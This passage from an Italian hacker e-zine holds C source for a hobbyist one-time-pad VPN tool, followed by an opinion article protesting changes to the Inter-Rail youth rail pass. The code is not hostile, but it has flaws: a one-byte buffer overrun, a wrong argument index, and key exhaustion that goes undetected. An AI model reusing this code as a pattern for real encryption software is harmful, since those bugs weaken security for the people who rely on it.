printf("\t- Create VPN with OTP:\n\t\totp -v server -r recv_key_file -s send_key_file\n\t\totp --vpn client server_host --recv_key recv_key_file --send_key send_key_file\n\n"); printf("\t You can specify the offset of keys with -so (--send-offset) and -ro (--recv-offset)\n"); printf("\tIMPORTANT NOTE: after setting up the vpn you can see the interface with 'ifconfig -a' but you must configure it\n"); printf("\twith something like 'ifconfig otp0 192.168.0.1 pointopoint 192.168.0.2'.\n\tFor more verbose output you can use -D or --debug.\n\n\n"); exit(-1); } // parse command lines argument void parse_args(int argc, char **argv) { #define GEN_KEY 1 #define VPN_CLIENT 2 #define VPN_SERVER 3 #define ENTROPY 4 unsigned short int i; if (argc < 2) usage(); arg.type = 0; // cycle through all arguments for (i = 1; i < argc; i++) { if (argv[i][0] == '-') { // debug if (!strcmp(argv[i], "-d") || !strcmp(argv[i], "--debug")) arg.debug = 1; // help else if (!strcmp(argv[i], "-h") || !strcmp(argv[i], "--help")) usage(); // genkey else if (!strcmp(argv[i], "-g") || !strcmp(argv[i], "--gen-key")) { if (arg.type) fatal("[] Incompatible option... '%s'\n", argv[i]); if (argc - 1 <= i) fatal("[] '%s' option need an argument (file)\n", argv[i]); else { arg.key_file = argv[++i]; arg.type=GEN_KEY; } } //entropy else if (!strcmp(argv[1],"-e") || !strcmp(argv[i],"--entropy")) { if (arg.type) fatal("[] Incompatible option... '%s'\n", argv[i]); if (argc - 1 <= i) fatal("[] '%s' option need an argument (file)\n", argv[i]); else { arg.key_file = argv[++i]; arg.type=ENTROPY; } } // vpn else if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--vpn")) { if (arg.type) fatal("[] Incompatible option... '%s'\n", argv[i]); if (argc - 1 <= i) fatal("[] '%s' option need an argument (client/server)\n", argv[i]); i++; if (!strcmp(argv[i], "client")) { arg.type = VPN_CLIENT; if (argc - 1 <= i) fatal ("[] VPN tunnel in client mode needs the server (example --vpn client 213.121.123.213)\n"); arg.remote_ip = argv[++i]; } else if (!strcmp(argv[i], "server")) arg.type = VPN_SERVER; else fatal("[] '%s' option need an argument (client/server)\n", argv[i]); } //recv-key else if (!strcmp(argv[i],"-r") || !strcmp(argv[i],"--recv-key")) { if (argc - 1 <= i) fatal("[] '%s' option need an argument\n", argv[i]); else arg.recv_file = argv[++i]; } //send-key else if (!strcmp(argv[i],"-s") || !strcmp(argv[i],"--send-key")) { if (argc - 1 <= i) fatal("[] '%s' option need an argument\n", argv[i]); else arg.send_file = argv[++i]; } //send offset else if (!strcmp(argv[i],"-so") || !strcmp(argv[i],"--send-offset")) { if (argc - 1 <= i) fatal("[] '%s' option need an argument\n", argv[i]); else arg.send_offset = atol(argv[++i]); } //recv offset else if (!strcmp(argv[i],"-ro") || !strcmp(argv[i],"--recv-offset")) { if (argc - 1 <= i) fatal("[] '%s' option need an argument\n", argv[i]); else arg.recv_offset = atol(argv[++i]); } } else fatal("[] Error while parsing arguments...what's '%s'?\n", argv[i]); } if (!arg.type) usage(); // last control if (arg.type==VPN_CLIENT || arg.type==VPN_SERVER) { if (!arg.recv_file || !arg.send_file) fatal("[] Missing need --send_key or --recv_key option\n"); } } int main(int argc, char **argv) { // initialize variable arg.remote_ip = NULL; arg.recv_file = NULL; arg.send_file = NULL; arg.recv_offset=0; arg.send_offset=0; arg.debug = 0; // parse agruments parse_args(argc, argv); r_offset=arg.recv_offset; s_offset=arg.send_offset; if (arg.debug) { printf("[] After parse_args arg struct is: \n"); printf("[] remote_ip : %s\n", arg.remote_ip); printf("[] type : %d\n", arg.type); printf("[] debug : %d\n", arg.debug); printf("[] r_offset : %lld\n",r_offset); printf("[] s_offset : %lld\n",s_offset); } switch (arg.type) { case ENTROPY: { printf("[] Entropy of %s is %.3f%%\n",arg.key_file,entropia(arg.key_file)); break; } case GEN_KEY: { char key[1024]; unsigned long long int l = 0; int i = 0; if ((key_fd = open(arg.key_file, O_CREAT | O_WRONLY, 00600)) < 0) fatal("Error while opening '%s' to write: '%s'\n", arg.key_file, strerror(errno)); if ((rand_fd = open("/dev/urandom", O_RDONLY)) < 0) fatal("Error while opening '/dev/urandom' to read: '%s'\n", strerror(errno)); printf("[] Generating key....\n"); printf("[] otp need more time to generate the random key.\n"); printf("[] I hope you daemonize me with a ctrl+z and bg. \n"); printf ("[] press CTRL+C when you decide that your key is of appropriate size!\n"); signal(SIGINT, close_key); fflush(stdout); // take random data from /dev/random while ((i = read(rand_fd, key, 1024))) { printf("\r[]%lld bytes", l += i); write(key_fd, key, i); fflush(stdout); } fprintf(stderr, "[] Error while create key: '%s'\n", strerror(errno)); close(rand_fd); close(key_fd); exit(-1); } break; //devo aprire 2 file di key e posizionarmi alla posizione corretta case VPN_CLIENT: { //open the key to decrypt data if ((recv_fd = open(arg.recv_file, O_RDONLY)) < 0) fatal("[] Error while open %s file: '%s'\n", arg.recv_file, strerror(errno)); //going to the correct position if (r_offset) if (lseek(recv_fd,r_offset,SEEK_SET)==-1) fatal("[] Error while going to correct position : '%s'\n",strerror(errno)); //open the key to encrypt data if ((send_fd = open(arg.send_file, O_RDONLY)) < 0) fatal("[] Error while open %s file: '%s'\n", arg.send_file, strerror(errno)); //going to the correct position if (s_offset) if (lseek(send_fd,s_offset,SEEK_SET)==-1) fatal("[] Error while going to correct position : '%s'\n",strerror(errno)); //open the tun device vpn_fd = initTun(); //open the tcp/ip connection (port 12000) if ((client_fd = otp_connect(arg.remote_ip, 12000)) < 0) fatal("[] Error while connection to '%s': %s\n", arg.remote_ip, strerror(errno)); //uhm ??!?!?!?!? // system("ifconfig otp0 10.0.0.2 pointopoint 10.0.0.1"); //call engine main_loop(); break; } case VPN_SERVER: { //open the key to decrypt data if ((recv_fd = open(arg.recv_file, O_RDONLY)) < 0) fatal("[] Error while open %s file: '%s'\n", arg.recv_file, strerror(errno)); //going to the correct position if (r_offset) if (lseek(recv_fd,r_offset,SEEK_SET)==-1) fatal("[] Error while going to correct position : '%s'\n",strerror(errno)); //open the key to encrypt data if ((send_fd = open(arg.send_file, O_RDONLY)) < 0) fatal("[] Error while open %s file: '%s'\n", arg.send_file, strerror(errno)); //going to the correct position if (s_offset) if (lseek(send_fd,s_offset,SEEK_SET)==-1) fatal("[] Error while going to correct position : '%s'\n",strerror(errno)); //open the tun device vpn_fd = initTun(); //bind port (here i'm server) client_fd = otp_server(12000); // system("ifconfig otp0 10.0.0.1 pointopoint 10.0.0.2"); //call engine main_loop(); break; } } return 0; } -------------------end otp.c------------------------------------------- -------------------otp.h----------------------------------------------- #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include struct arg { char *key_file; char *recv_file,*send_file; unsigned long long int send_offset,recv_offset; char *remote_ip; char type; char debug; char mode; } arg; int send_fd,recv_fd,key_fd, rand_fd, vpn_fd, client_fd; unsigned long long int r_offset,s_offset; // socket.c int otp_connect(char *host, unsigned short int port); int otp_read(int sock, char *s, unsigned short int size); int otp_write(int sock, const char *s); int otp_server(unsigned short int port); void otp_close(int sock); int timedrselect(fd_set * rfds, int max, int time); int timedrread(int sock, int time); // onetimepad.c void fatal(char *fmt, ...); // vpn.c int initTun(); void main_loop(); // entropia.c double entropia(char *file); -------------------end otp.h------------------------------------------- -------------------socket.c-------------------------------------------- #include "otp.h" int otp_connect(char *host, unsigned short int port) { struct sockaddr_in address; struct hostent *hp; int sock; if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0) return -1; if ((hp = gethostbyname(host)) == NULL) return -1; memset(&address, 0, sizeof(address)); memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length); address.sin_family = AF_INET; address.sin_port = htons((u_short) port); if ((connect(sock, (struct sockaddr *) &address, sizeof(address))) < 0) return -1; else return sock; return -1; } int otp_server(unsigned short int port) { int rsock, lsock; struct sockaddr_in server, client; unsigned int lclient; // ifconfig in qualke modo if ((rsock = socket(PF_INET, SOCK_STREAM, 0)) < 0) fatal("[] Error in socket()!\n"); memset(&server, 0, sizeof(server)); /* Zero out structure */ server.sin_family = AF_INET; /* Internet address family */ server.sin_addr.s_addr = htonl(INADDR_ANY); /* Any incoming interface */ server.sin_port = htons(port); /* Local port */ /* * Bind to the local address */ if (bind(rsock, (struct sockaddr *) &server, sizeof(server)) < 0) fatal("[] Errore in bind()!\n"); if ((listen(rsock, 1)) < 0) fatal("[] Error in listen()!\n"); /* * Set the size of the in-out parameter */ lclient = sizeof(client); /* * Wait for a client to connect */ if ((lsock = accept(rsock, (struct sockaddr *) &client, &lclient)) < 0) fatal("[] Error in accept()!\n"); /* * clntSock is connected to a client! */ printf("[] Connected to client %s\n", inet_ntoa(client.sin_addr)); return lsock; } int otp_read(int sock, char *s, unsigned short int size) { int i; if (timedrread(sock, 30)) { i = read(sock, s, size); s[i] = 0; return i; } else { return -1; } } int otp_write(int sock, const char *s) { return write(sock, s, strlen(s)); } void otp_close(int sock) { shutdown(sock, 2); } int timedrselect(fd_set * rfds, int max, int time) { struct timeval timeout; timeout.tv_sec = time; timeout.tv_usec = 0; if (select(max, rfds, NULL, NULL, &timeout) <= 0) return 1; return 0; } /* * prepare the socket to be read */ int timedrread(int sock, int time) { fd_set rfds; FD_ZERO(&rfds); FD_SET(sock, &rfds); timedrselect(&rfds, sock + 1, time); return FD_ISSET(sock, &rfds); } -------------------end socket.c---------------------------------------- -------------------vpn.c----------------------------------------------- #include "otp.h" // vpn with otp :D int initTun() { int fdTun; char *tunDevName = "/dev/net/tun"; struct ifreq ifr; int err; fdTun = open(tunDevName, O_RDWR | O_NONBLOCK); if (fdTun < 0) fatal("[] Error opening tun device '%s'.\n", tunDevName); ifr.ifr_flags = IFF_TUN; strncpy(ifr.ifr_name, "otp%d", 10); err = ioctl(fdTun, TUNSETIFF, (void *) &ifr); if (err < 0) { close(fdTun); fatal("[] Error with ioctl(TUNSETIFF).\n"); } return fdTun; } void main_loop() { fd_set rfds; char buffer[1024]; char c; int l, i = 0; // lseek to offset // lseek(key_fd, offset, SEEK_SET); while (1) { FD_ZERO(&rfds); FD_SET(vpn_fd, &rfds); FD_SET(client_fd, &rfds); if (arg.debug) printf("[] Before select\n"); select(FD_SETSIZE, &rfds, NULL, NULL, NULL); // i dati arrivano dall'interfaccia..li butto sul socket if (FD_ISSET(vpn_fd, &rfds)) { l = read(vpn_fd, buffer, 1024); r_offset += l; buffer[l] = 0; if (!l) fatal("[] Interface closed!\n"); if (arg.debug) printf("[] Reading %d bytes from interface: '%s'\n", l, buffer); // encrypt data for (i = 0; i < l; i++) { // read a byte from key_fd if (read(recv_fd, &c, (sizeof(char))) < 0) fatal("[] recv key is finish!\n"); buffer[i] = buffer[i] ^ c; } l = write(client_fd, buffer, l); if (arg.debug) printf("[] Writing %d bytes to socket...\n", l); } // i dati arrivano dal socket...li butto sull'interfaccia if (FD_ISSET(client_fd, &rfds)) { l = read(client_fd, buffer, 1024); if (!l) fatal("[] Connection closed!\n"); if (arg.debug) printf("[] Reading %d bytes from socket..\n", l); // decrypt data for (i = 0; i < l; i++) { // read a byte from key_fd if (read(send_fd, &c, 1 * (sizeof(char))) < 0) fatal("[] key is finish!\n"); buffer[i] = buffer[i] ^ c; } l = write(vpn_fd, buffer, l); if (arg.debug) printf("[] Writing %d to interface\n", l); } } } -------------------end vpn.c------------------------------------------- ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0C] OQ20040615[0C] :: :: [0x0A][SHUTD0WN] THEY'RE KiLLiNG iNTER-RAiL [inquis] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: "They're killing inter-rail", queste le parole che da qualche giorno, al momento della stesura di questo articolo, compaiono su un banner nella pagina iniziale del sito dell'Associazione Culturale Viaggi e Liberta' . Associazione italiana senza fini di lucro che da poco piu' di un anno favorisce, protegge e promuove la cultura del viaggio senza limiti, senza confini e senza pregiudizi; il tutto grazie a raduni, manifestazioni e in modo virtuale grazie all'attivissimo e ricco di informazioni Forum presente sul sito. Questi ideali da molti anni si concretizzano in un biglietto del treno particolare chiamato Inter Rail. Questo biglietto puo' essere acquistato senza discriminazioni da qualunque cittadino dell'Unione Europea ad un prezzo che, fino a qualche tempo fa, era tutto sommato abbordabile e da' diritto al singolo possessore di viaggiare, secondo i limiti su indicati, per un determinato periodo di tempo nelle zone d'Europa prefissate. Vedasi il sito http://www.interrailnet.com e la pagina http://tinyurl.com/yssd7 per ottenere maggiori informazioni sul regolamento. Come ogni cosa che ha un prezzo, da due anni a questa parte, anche tale biglietto e' stato oggetto di speculazioni che pregiudicano indiscriminatamente le occasioni di viaggio che migliaia di giovani di tutta Europa sognano di anno di anno. Infatti dall'ultima assemblea sovranazionale del consorzio Inter-Rail emerge la volonta', e l'ormai messa in atto, di tagli sulla durata della validita' dei biglietti, di aumenti dei prezzi e dell'abolizione degli sconti sui biglietti fino ai confini del proprio paese nel raggiungimento di una delle zone indicate sul biglietto. Queste decisioni, rese pubbliche dalla U.I.C. (Union Internationale Chemins de fer ), ente francese a cui fa capo il consorzio Inter-Rail, in poco tempo sono diventate oggetto di proteste da parte di privati sui loro blogs e di molte associazioni dei paesi della comunita' europea che, come l'Associazione Culturale Viaggi e Liberta', promuovono la suddetta filosofia di viaggio. Ad una lettera di richiesta di spiegazioni da tale associazione indirizzata al responsabile del consorzio Inter-Rail e' giunta la seguente risposta; tra parentesi quadre le mie considerazioni: "[...] L'anno scorso abbiamo condotto un'indagine di mercato sugli spostamenti di piacere dei giovani europei. L'importanza del fattore prezzo era ben evidente in questa indagine, ma altri punti erano stati anche giudicati importanti dai nostri clienti: permettere dei soggiorni piu' corti, portare piu' flessibilita'. [ Prendere in considerazione le preferenze di mete dei giovani mi sembra un criterio di valutazione della situazione alquanto futile dato che i giovani, come tutti, ricoprono un territorio vasto come la totalita' dell' Europa ed e' normale che un giovane del nord Europa preferisca spostarsi a sud/est/ovest piuttosto che visitare un paese vicino a lui che puo' aver gia' visitato o che comunque gli e' piu' facile visitare. Poi, stando ai fatti, cio' che e' stato attuato e' in disaccordo con l'ultima affermazione infatti e' stato abolito il biglietto da 12 giorni e sostituito con un biglietto da 16 giorni. ] [...] Questa offerta risulta necessariamente da un compromesso tra le aspettative dei nostri clienti e gli imperativi economici di ciascuno dei membri. [ Se i clienti sono coloro che fanno uso del biglietto IR (e cosi' e') mi trovo del tutto in disaccordo, io non ho chiesto di avere tagli sulle durate e aumenti di prezzi, e sulla base di aspetti economici come l'inflazione credo che neppure i membri, gli stati facenti parte del consorzio, siano del tutto d'accordo con le decisione prese dato che piu' stranieri si trovano per un periodo sul loro territorio, maggiori sono le entrate che lo Stato e i privati stessi percepiscono, e' palese. ] La Comunita' ha cercato di conciliare queste due necessita'. [ L'ottica con la quale sono state prese le decisioni e imposte al regolamento Inter-Rail e' quella che guida la societa' del XXI secolo: LUCRO! Chi ne paga le conseguenze? I liberi viaggiatori, oltre 8 milioni sinora, che, stando alle singole iscrizioni del sito http://www.inter-rail.it/, solo nella nostra penisola sono ogni anno ~1000 in piu'. Chi ne trae beneficio? Difficile dirlo, ma sicuramente i vertici del consorzio, senno' perche' avrebbero attuato un cosi' drastico cambiamento sul regolamento?! ] Mantenere un prezzo artificialmente basso farebbe correre il rischio di vedere ritirarsi dall'Inter-Rail le societa' che si riterrebbero lese. In breve tempo, l'Inter-Rail scomparirebbe. [ Sulla base di quali dati statistici comprovati/comprovanti si afferma che il mantenimento dei prezzi in vigore fino alla scorsa estate farebbe correre il rischio di vedere ritirarsi dal consorzio le societa' ferroviarie, private e pubbliche, che fino ad ora hanno aderito al biglietto? In quale modo potrebbero esse ritenersi lese? Non e' forse vero che maggiore e' il numero di stranieri, maggiori sono i soldi che circolano all'interno del paese visitato? Non e' cosi' evidente tutto cio' tanto che ci sono molti paesi che vanno avanti quasi del tutto grazie al turismo? A mio avviso questa risposta e' un erroneo tentativo di giustificare la speculazione a spese di chi ama viaggiare in modo libero ed auto-organizzato! ] Anche se il prezzo aumenta, il biglietto Inter-Rail rimane il mezzo piu' economico per scoprire l'Europa. [...] [ Per un viaggio esteso ad un ampia area d'Europa (per ampio intendo almeno due paesi distinti, con visita a piu' di quattro citta') sono d'accordo, cio' non toglie che un biglietto nato per favorire il viaggio, e di conseguenza l'acculturamento, ai giovani d'Europa ora si ritrova vittima di pesanti manovre di mercato volte alla sua probabile fine. ] I membri della comunita' Inter Rail sono assolutamente coscienti della sua importanza. Credono nel prodotto e desiderano che continui a vivere." [ Questo punto non viene evidenziato molto stante il fatto che i membri stessi hanno preso parte a tale assemblea e non si sono resi conto minimamente dell'importanza e dei guadagni derivanti da tale prospettiva di viaggio giovanile. ] Per il testo completo della lettera potete fare riferimento a questo link, http://tinyurl.com/38tx5 . Il giorno dopo tale risposta da parte del consorzio, l'Ufficio Stampa dell'Associazione Viaggi e Liberta' scrive un comunicato stampa chiedendo ai mass media di dar voce alla propria protesta e focalizza l'attenzione sui rischi che tali manovre di mercato produrranno ciclicamente nei prossimi mesi. Il comunicato stampa, apparso di recente anche sulla rivista cartacea "Viaggi" e' leggibile all'indirizzo http://tinyurl.com/2pqm2 . Personalmente tengo a focalizzare l'attenzione del lettore su alcuni passaggi di tale scritto: "[...] la preoccupazione maggiore di Viaggi e Liberta', ovvero che un biglietto nato esclusivamente per far viaggiare i giovani si stesse trasformando in un biglietto influenzato dalle logiche di mercato a discapito della mission per il quale era stato creato, trova un riscontro drammaticamente reale nel nuovo rincaro dei prezzi di aprile 2004. [...] I giovani inter-railer si fanno infatti portatori di una filosofia del viaggio che sembra ormai dimenticata in mezzo al lusso sfrenato di tanti giganteschi complessi turistici che impediscono al "turista" di andare oltre, di conoscere realmente la dimensione del viaggio e di entrare in contatto con le culture locali. Il turista, ormai, si limita soltanto ad attraversare le culture; non le assapora piu', non prova nemmeno a conoscerle, preferendo comprare un pacchetto viaggio che assomigli il piu' possibile ad una realta' quotidiana trasposta - con tutte le comodita' del caso - piuttosto che cercare di scoprire i segreti dei luoghi visitati, lasciandosi sorprendere dal viaggio stesso. Liberta' di opinione e di scelta, naturalmente. [...]" inquis org> http://inquis.ondaquadra.org :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::